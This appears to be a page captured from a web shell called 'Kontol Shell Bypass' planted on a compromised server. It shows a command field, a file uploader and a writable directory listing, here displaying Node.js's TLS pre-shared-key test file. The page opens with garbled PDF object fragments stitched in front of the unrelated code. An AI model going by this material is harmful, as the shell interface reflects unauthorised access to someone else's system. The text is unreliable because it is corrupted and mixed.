%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/test-tls-psk-circuit.js
'use strict';
const common = require('../common');

if (!common.hasCrypto)
  common.skip('missing crypto');

const assert = require('assert');
const tls = require('tls');

const CIPHERS = 'PSK+HIGH:TLS_AES_128_GCM_SHA256';
const USERS = {
  UserA: Buffer.allocUnsafe(128),
  UserB: Buffer.from('82072606b502b0f4025e90eb75fe137d', 'hex'),
};
const TEST_DATA = 'x';

const serverOptions = {
  ciphers: CIPHERS,
  pskCallback(socket, id) {
    assert.ok(socket instanceof tls.TLSSocket);
    assert.ok(typeof id === 'string');
    return USERS[id];
  },
};

function test(secret, opts, error) {
  const cb = !error ?
    common.mustCall((c) => { c.pipe(c); }) :
    common.mustNotCall();
  const server = tls.createServer(serverOptions, cb);
  server.listen(0, common.mustCall(() => {
    const options = {
      port: server.address().port,
      ciphers: CIPHERS,
      checkServerIdentity: () => {},
      pskCallback: common.mustCall(() => secret),
      ...opts,
    };

    if (!error) {
      const client = tls.connect(options, common.mustCall(() => {
        client.end(TEST_DATA);

        client.on('data', common.mustCall((data) => {
          assert.strictEqual(data.toString(), TEST_DATA);
        }));
        client.on('close', common.mustCall(() => server.close()));
      }));
    } else {
      const client = tls.connect(options, common.mustNotCall());
      client.on('error', common.mustCall((err) => {
        assert.strictEqual(err.message, error);
        server.close();
      }));
    }
  }));
}

const DISCONNECT_MESSAGE =
  'Client network socket disconnected before ' +
  'secure TLS connection was established';

test({ psk: USERS.UserA, identity: 'UserA' });
test({ psk: USERS.UserA, identity: 'UserA' }, { maxVersion: 'TLSv1.2' });
test({ psk: USERS.UserA, identity: 'UserA' }, { minVersion: 'TLSv1.3' });
test({ psk: USERS.UserB, identity: 'UserB' });
test({ psk: USERS.UserB, identity: 'UserB' }, { minVersion: 'TLSv1.3' });
// Unrecognized user should fail handshake
test({ psk: USERS.UserB, identity: 'UserC' }, {}, DISCONNECT_MESSAGE);
// Recognized user but incorrect secret should fail handshake
test({ psk: USERS.UserA, identity: 'UserB' }, {}, DISCONNECT_MESSAGE);
test({ psk: USERS.UserB, identity: 'UserB' });

Kontol Shell Bypass